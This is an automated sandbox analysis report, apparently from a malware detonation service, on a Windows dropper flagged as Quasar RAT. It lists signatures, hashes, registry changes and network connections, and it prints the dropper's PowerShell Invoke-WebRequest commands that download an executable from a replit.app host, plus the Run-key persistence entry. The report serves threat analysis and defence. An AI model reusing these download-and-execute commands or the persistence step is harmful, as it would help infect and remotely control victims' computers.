Analysis Overview
SHA256
2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258
Threat Level: Known bad
The file 2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258.unknown was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Blocklisted process makes network request
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
.NET Reactor proctector
Checks computer location settings
Adds Run key to start application
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Unsigned PE
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-30 01:19
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-30 01:19
Reported
2024-07-30 01:22
Platform
win7-20240704-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1100-6-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp
memory/1100-7-0x000000001B7E0000-0x000000001BAC2000-memory.dmp
memory/1100-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
memory/1100-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
memory/1100-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
memory/1100-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
memory/1100-8-0x0000000002780000-0x0000000002788000-memory.dmp
memory/1100-13-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
memory/1100-14-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 1a584b347be98003da08bae1e0e9a2c8 |
| SHA1 | 233f831a5c1fbbc67ee5b84dfd2f26644d94cb25 |
| SHA256 | d94062ddb6c8e257ca866fcb229fd7bc2b82e89244a2e05ab052f943a333b7e2 |
| SHA512 | 07d7c92a2900c9b94109216a59cf4c5a1b2b2c791b30c88f4ade37b782c59f8fcf5d46b3ec22965aea5e12c4acf0e764d05ec312b332826130deaa0c8ef443c2 |
memory/2488-20-0x000000001B540000-0x000000001B822000-memory.dmp
memory/2488-21-0x0000000001D80000-0x0000000001D88000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-30 01:19
Reported
2024-07-30 01:23
Platform
win10v2004-20240729-en
Max time kernel
93s
Max time network
142s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-735441492-2964205366-2526932795-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-735441492-2964205366-2526932795-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\71D4.tmp\71E5.tmp\71E6.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| NL | 5.253.86.15:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 15.86.253.5.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 2.105.228.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\71D4.tmp\71E5.tmp\71E6.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/3960-2-0x00007FFF07E63000-0x00007FFF07E65000-memory.dmp
memory/3960-3-0x000001CDFFF10000-0x000001CDFFF32000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k02ih5wr.u24.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3960-13-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp
memory/3960-14-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp
memory/3960-17-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a2b24af1492f112d2e53cb7415fda39f |
| SHA1 | dbfcee57242a14b60997bd03379cc60198976d85 |
| SHA256 | fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073 |
| SHA512 | 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0 |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/2308-33-0x00000000000C0000-0x000000000012E000-memory.dmp
memory/2308-40-0x0000000005390000-0x00000000056B5000-memory.dmp
memory/2308-41-0x0000000005E10000-0x0000000006134000-memory.dmp
memory/2308-42-0x00000000066E0000-0x0000000006C84000-memory.dmp
memory/2308-43-0x0000000005B80000-0x0000000005C12000-memory.dmp
memory/2308-44-0x0000000005B30000-0x0000000005B3A000-memory.dmp
memory/2308-45-0x0000000006380000-0x00000000063D0000-memory.dmp
memory/2308-46-0x0000000006490000-0x0000000006542000-memory.dmp
memory/2308-47-0x00000000072B0000-0x00000000078C8000-memory.dmp
memory/2308-48-0x0000000006F70000-0x0000000006F82000-memory.dmp
memory/2308-49-0x0000000006FD0000-0x000000000700C000-memory.dmp
memory/2308-50-0x0000000007080000-0x00000000070E6000-memory.dmp